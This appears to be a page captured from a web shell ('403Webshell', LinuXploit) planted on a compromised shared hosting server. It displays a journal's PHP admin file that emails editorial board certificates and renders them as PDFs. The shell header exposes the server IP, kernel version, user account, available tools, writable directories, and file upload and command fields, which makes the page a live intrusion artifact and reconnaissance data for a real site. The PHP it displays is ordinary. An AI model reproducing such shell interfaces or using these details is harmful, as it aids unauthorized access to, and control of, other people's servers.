403Webshell
Server IP : 192.169.170.185  /  Your IP : 216.73.216.97
Web Server : Apache
System : Linux p3plmcpnl495852.prod.phx3.secureserver.net 4.18.0-553.52.1.lve.el8.x86_64 #1 SMP Wed May 21 15:31:29 UTC 2025 x86_64
User : akhilnew ( 1712764)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/akhilnew/public_html/journalofpoliticalscience.com/admin/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/akhilnew/public_html/journalofpoliticalscience.com/admin/inc/boardrequest.functions.php
<?php
function SendEmail($dataid, $category, $name, $post, $content, $email, $date, $isSendCertificate)
{
	global $imageurl, $fromname, $fromemail, $replyname, $replyemail, $signature, $sm;

	$line = $isSendCertificate === TRUE ? ' Please find the editorial board member certificate as an attachment.' : '';

	$subject  = 'Editorial Board Member Certificate. #'.$dataid;
	$message  = 'Dear '.$name.',<br><br>';
	$message .= 'We have updated our editorial board with your information.'.$line;
	$message .= '<br><br><br>Regrads<br>'.nl2br($signature).'<br><br><br>';
	$message .= '<b style="color:#009933"><img src="'.$imageurl.'tree.png" alt="Tree" /> Please consider the environment before you print this email.</b>';

	$filename = $isSendCertificate === TRUE ? GenerateCertificate($dataid, $category, $name, $post, $content, $date) : NULL;

	$sm->send($email, '', '', $subject, $message, $fromname, $fromemail, $replyname, $replyemail, array($filename));

	return $filename;
}
function GenerateCertificate($dataid, $category, $name, $post, $content, $date)
{
	global $baseurl, $imageurl, $websitename, $websiteemail, $impactfactor, $issn, $signature, $publisher;

	$date = date('d-m-Y', strtotime($date));

	if($issn && $impactfactor):
		$if = $issn.', '.$impactfactor;
	elseif($issn && !$impactfactor):
		$if = $issn;
	elseif( ! $issn && $impactfactor):
		$if = $impactfactor;
	else:
		$if = '';
	endif;

	$firstletters = '';
	foreach(explode(' ', str_replace(array('and', 'And', 'in', 'of'), '', $websitename)) as $firstletter):
		$firstletters .= trim($firstletter[0]);
	endforeach;

	$publisher = $publisher ? $publisher : 'AkiNik Publications';

	$html  = '<html>';
	$html .= '<body style="background-color:#fff;box-sizing:border-box;color:#000">';
	$html .= '<div style="float:left;width:100%;height:100%;border:2px double #333">';
	$html .= '<div style="float:left;width:100%"><img src="'.$imageurl.'banner.jpg" alt="Banner" style="float:left;width:100%"></div>';
	$html .= '<div style="float:left;width:100%;margin-top:10px;font-size:24px;font-weight:bold;text-align:center">'.$websitename.'</div>';
	$html .= '<div style="float:left;width:100%;margin-top:10px;text-align:center">Peer Reviewed Journal, Refereed Journal, Indexed Journal</div>';
	$html .= '<div style="float:left;width:100%;margin-top:10px;text-align:center">'.$if.'</div>';
	$html .= '<div style="float:left;width:100%;margin-top:20px;text-align:center"><img src="'.$imageurl.'editorial-certificate.jpg" width="300"></div>';
	$html .= '<div style="float:left;width:100%;padding:0px 30px">';
	$html .= '<div style="float:left;width:100%;margin-top:25px">';
	$html .= '<table border="0" cellpadding="0" cellspacing="0" style="float:left;width:100%;vertical-align:top">';
	$html .= '<tr><td align="left" width="50%"><b>'.html_entity_decode($name).'</b><br clear="all">'.html_entity_decode($post).'<br clear="all">'.html_entity_decode($content).'</td><td align="right" width="50%">Ref: '.$firstletters.'/LM/'.$dataid.'<br clear="all">Date: '.$date.'</td></tr>';
	$html .= '</table>';
	$html .= '</div>';
	$html .= '<div style="float:left;width:100%;margin-top:30px">Dear <b>'.html_entity_decode($name).'</b></div>';
	$html .= '<div style="float:left;width:100%;margin-top:30px;text-align:center"><b><u>Sub: Confirmation for Appointment for the Post of '.$category.'</u></b></div>';
	$html .= '<div style="float:left;width:100%;margin-top:30px;text-align:justify">This letter confirms that <b>&quot;'.$publisher.'&quot;</b> appoint you as <b>&quot;'.$category.'&quot;</b> of <b>&quot;'.$websitename.'&quot;</b>.</div>';
	$html .= '<div style="float:left;width:100%;margin-top:10px;text-align:justify">This contract can be terminated by either party without any obligation.</div>';
	$html .= '<div style="float:left;width:100%;margin-top:10px;text-align:justify">In extending my sincere congratulation to you, I would like to express my deep satisfaction for the possibility to profit from your competent collaboration.</div>';
	$html .= '<div style="float:left;width:100%;margin-top:30px;clear:both">';
	$html .= '<table border="0" cellpadding="0" cellspacing="0" style="float:left;width:100%;vertical-align:bottom">';
	$html .= '<tr><td align="left" colspan="2">Yours Sincerely,</td></tr>';
	$html .= '<tr><td align="left"><img src="'.$imageurl.'sign.png" width="120" /></td></tr>';
	$html .= '</table>';
	$html .= '</div>';
	$html .= '<div style="float:left;width:50%;margin-top:10px;clear:both">'.nl2br($signature).'</div>';
	$html .= '</div>';
	$html .= '</body>';
	$html .= '</html>';

	$foot  = '<div style="float:left;width:100%;color:#777;font-size:11px;text-align:center">'.$websitename.'<br>Email: '.$websiteemail.'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Website: '.parse_url($baseurl, PHP_URL_HOST).'</div>';

	$filename = 'PDF_'.date('Ymd_his_').str_pad($dataid, 3, 0, STR_PAD_LEFT).'.pdf';

	$mpdf = new mPDF('c', 'A4', '12', 'Georgia', 10, 10, 10, 10, 15, 15);
	$mpdf->SetDisplayMode('fullpage');
	$mpdf->SetTitle('Editorial Certificate');
	$mpdf->SetAuthor($name);
	$mpdf->WriteHTML($html);
	$mpdf->SetHTMLFooter($foot);
	$mpdf->Output($filename);

	return $filename;
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit